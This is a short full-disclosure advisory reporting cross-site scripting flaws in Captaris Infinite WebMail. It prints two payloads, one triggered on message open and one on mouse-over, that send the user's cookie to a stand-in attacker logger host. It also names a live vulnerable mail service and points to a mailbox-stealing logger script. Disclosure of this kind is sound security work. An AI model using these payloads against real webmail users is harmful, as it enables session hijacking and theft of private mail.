full-disclosure - Captaris (Infinite) WebMail XSS

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Message-ID: <000001c2a55a$19a727e0$6400000a@idlap1605>
From: pedram at redhive.com (Pedram Amini)
Subject: Captaris (Infinite) WebMail XSS

I figured it was about time I hopped on the XSS band-wagon.

Captaris (www.captaris.com) Infinite WebMail application is vulnerable to
Cross-Site Scripting (XSS) attacks. The application fails to filter the
following tags that can both be used to redirect a user to an attack script:

Launch on e-mail open:
    <p style="left:expression(document.location=
    'http://attackers.server/cgi-bin/logger.cgi?'
    +document.cookie)">

Launch on mouse over:
    <b onMouseOver= "document.location=
    'http://attackers.server/cgi-bin/logger.cgi?'
    +document.cookie\">

I am sure there are other XSS attack methods that can also be utilized to
bypass their basic filtering.

A sample vulnerable service is provided by dog.com (www.dogmail.com), they
are running WebMail v3.61.05. A sample cookie and mail logger script that
will retrieve all of the messages in the users main mailbox has been
attached, and can also be found at
http://pedram.redhive.com/advisories/dogmail.cgi

-pedram
http://pedram.redhive.com